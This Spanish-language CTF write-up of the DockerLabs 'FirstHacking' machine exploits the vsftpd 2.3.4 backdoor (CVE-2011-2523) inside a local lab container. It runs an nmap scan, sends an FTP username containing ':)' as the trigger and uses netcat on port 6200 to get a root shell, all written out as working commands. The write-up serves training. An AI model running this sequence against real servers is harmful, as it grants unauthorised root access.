FIRSTHACKING

// vsFTPd 2.3.4 con backdoor -> shell como root en el puerto 6200

● MUY FÁCILDOCKERLABSFTPvsftpd 2.3.4BackdoorCVE-2011-2523NetcatRoot 📅 Octubre 2026 · Por Brandeiks

Contexto

FirstHacking es la máquina de iniciación de DockerLabs, pensada como primer contacto con un pentest real de principio a fin: desplegar el objetivo, escanear, identificar un servicio vulnerable y explotarlo hasta obtener acceso de root. Lo que se aprende aquí no es una técnica compleja, sino el flujo de trabajo completo que se repetirá en máquinas mucho más difíciles.

// NOTA

Etapa histórica — CVE-2011-2523: el 30 de junio de 2011, el código fuente oficial de vsftpd 2.3.4 alojado en el servidor de descargas del proyecto fue comprometido y sustituido por una versión troyanizada. Cualquiera que descargara el tarball entre esa fecha y el 3 de julio de 2011 (cuando se detectó y retiró) obtenía un backdoor oculto en el binario. Quince años después, esa versión sigue usándose deliberadamente en laboratorios y CTFs como ejercicio clásico de explotación de servicios.

Reconocimiento

1
DESPLIEGUE DE LA MÁQUINA
BASH
$ cd Desktop/dockerLabs/firsthacking
$ ls
auto_deploy.sh firsthacking.tar firsthacking.zip ip_objetivo.txt
BASH
$ sudo bash auto_deploy.sh firsthacking.tar
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es -> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
2
ESCANEO DE PUERTOS
BASH
$ nmap -sV -p- --min-rate 5000 172.17.0.2
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
MAC Address: 1E:D7:D5:1C:AF:79 (Unknown)
Service Info: OS: Unix
Nmap done: 1 IP address (1 host up) scanned in 3.35 seconds

// NOTA

Un único puerto abierto, el 21 (FTP), corriendo exactamente la versión vsftpd 2.3.4. Ese número de versión es la señal de alarma: coincide con el tarball troyanizado de 2011.

Explotación

El backdoor de vsftpd 2.3.4 se activa de una forma muy particular: si el nombre de usuario que se envía al servidor FTP contiene la secuencia de caracteres :) (un emoticono), el código malicioso insertado en el binario abre, en segundo plano, un listener en el puerto 6200 que entrega una shell de sistema sin pedir ninguna autenticación adicional.

3
ACTIVACIÓN DEL BACKDOOR VÍA FTP
BASH
$ ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPd 2.3.4)
Name (172.17.0.2:kali): AbogadoCibernetico:)
331 Please specify the password.
Password:

// NOTA

No importa si la contraseña es correcta o si la conexión FTP se cae después: el solo hecho de enviar un usuario con :) ya disparó el backdoor en el puerto 6200 del lado del servidor.

// CVE-2011-2523 — ANÁLISIS DEL BACKDOOR

Disparador: el binario troyanizado inspecciona cada USER enviado al FTP; si contiene la secuencia :), ejecuta la carga maliciosa oculta.
Acción: abre un nuevo socket que escucha en el puerto 6200/TCP y le asocia /bin/sh, sin pedir ninguna autenticación.
Privilegios: vsftpd corre como root para poder enlazar el puerto 21 (< 1024), así que la shell del 6200 hereda ese UID 0.

Resultado: quien conozca el gatillo obtiene una shell de root remota, sin contraseña y sin necesidad de tocar el canal FTP legítimo.

Acceso y escalada

BASH
$ nc 172.17.0.2 6200
(UNKNOWN) [172.17.0.2] 6200 (?) : Connection refused

// NOTA

El primer intento puede fallar si el backdoor todavía no terminó de inicializarse tras el paso anterior. Basta con reintentar.

BASH
$ nc 172.17.0.2 6200
BASH
$ whoami
root
BASH
$ cd /root
$ ls -la
total 20
drwx------ 1 root root 4096 May 5 2024 .
drwxr-xr-x 1 root root 4096 Oct 3 23:27 ..
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
drwxr-xr-x 1 root root 4096 May 5 2024 vsftpd-2.3.4

No hace falta ninguna escalada de privilegios adicional: el backdoor entrega una shell directamente como root, lo que convierte a esta máquina en un ejemplo perfecto de por qué una sola versión desactualizada puede comprometer un sistema completo sin pasos intermedios.

Referencia de comandos

nmap
nmap -sV -p- --min-rate 5000 <IP>
Escaneo de puertos y detección de versiones: así se identifica el vsftpd 2.3.4 del puerto 21.
  • -sV → Detecta la versión exacta de cada servicio abierto.
  • -p- → Escanea los 65535 puertos TCP, no solo los 1000 habituales.
  • --min-rate 5000 → Envía ≥ 5000 paquetes/s para acelerar el escaneo.
ftp
ftp <IP>
Cliente FTP interactivo contra el puerto 21; aquí sirve para enviar el usuario con el gatillo.
  • USER …:) → Un nombre de usuario que contenga :) activa el backdoor.
nc (netcat)
nc <IP> 6200
Conexión TCP cruda al puerto del backdoor para recibir la shell como root.
  • 6200 → Puerto que abre el backdoor de vsftpd 2.3.4.
  • reintentar → El primer intento puede fallar si el listener aún no está listo.
post-explotación
whoami ; ls -la /root
Comprobación del acceso obtenido sobre la máquina comprometida.
  • whoami → Confirma el usuario de la shell actual (root).
  • ls -la → Lista todo, incluidos los archivos ocultos, con permisos y metadatos.

Glosario

FTP — File Transfer Protocol
Protocolo de transferencia de archivos que, en su forma clásica, viaja sin cifrar por el puerto 21. Separa el canal de control (comandos) del de datos.
vsFTPd — Very Secure FTP Daemon
Servidor FTP para Unix/Linux diseñado originalmente con la seguridad como prioridad; irónicamente, la versión 2.3.4 es la más famosa por el backdoor introducido en su código fuente en 2011.
Backdoor — Puerta trasera
Código oculto insertado deliberadamente en un programa para otorgar acceso no autorizado, saltándose los controles normales de autenticación.
CVE — Common Vulnerabilities and Exposures
Identificador público y estandarizado que cataloga una vulnerabilidad conocida. Aquí, CVE-2011-2523 es el backdoor de vsftpd 2.3.4.
Netcat (nc)
Herramienta de red que crea conexiones TCP/UDP arbitrarias; la "navaja suiza" del networking, habitual para recibir shells remotas.
Shell
Intérprete de comandos del sistema operativo. Obtener una shell como root significa control total sobre la máquina.
Root
El usuario con privilegios máximos en Unix/Linux (UID 0), equivalente al administrador en Windows.
Puerto
Número que identifica un servicio dentro de una IP. Aquí el 21 (FTP legítimo) y el 6200 (backdoor).

Curiosidades

  • El backdoor de vsftpd 2.3.4 estuvo disponible para descarga pública durante apenas unos días en 2011, pero como el código fuente comprometido quedó replicado en mirrors y repositorios, la versión troyanizada siguió circulando mucho después del incidente original.
  • El gatillo del backdoor es deliberadamente absurdo: basta con que el nombre de usuario contenga el emoticono :) para que el servidor abra una shell root en el puerto 6200, sin validar nada más.
  • A pesar de ser una vulnerabilidad de 2011, vsftpd 2.3.4 sigue siendo una de las máquinas de entrenamiento más usadas en plataformas como DockerLabs, HackTheBox (Metasploitable2) y TryHackMe, precisamente porque ilustra de forma muy clara el riesgo de ejecutar software desactualizado o de fuentes no verificadas.

Resumen

nmap descubre vsftpd 2.3.4 en el puerto 21 → se identifica como la versión troyanizada (CVE-2011-2523) → se envía un usuario FTP con :) para activar el backdoor → se conecta con netcat al puerto 6200 → se obtiene una shell directa como root, sin necesidad de escalada de privilegios.

// RELACIONADOS POR ETIQUETAS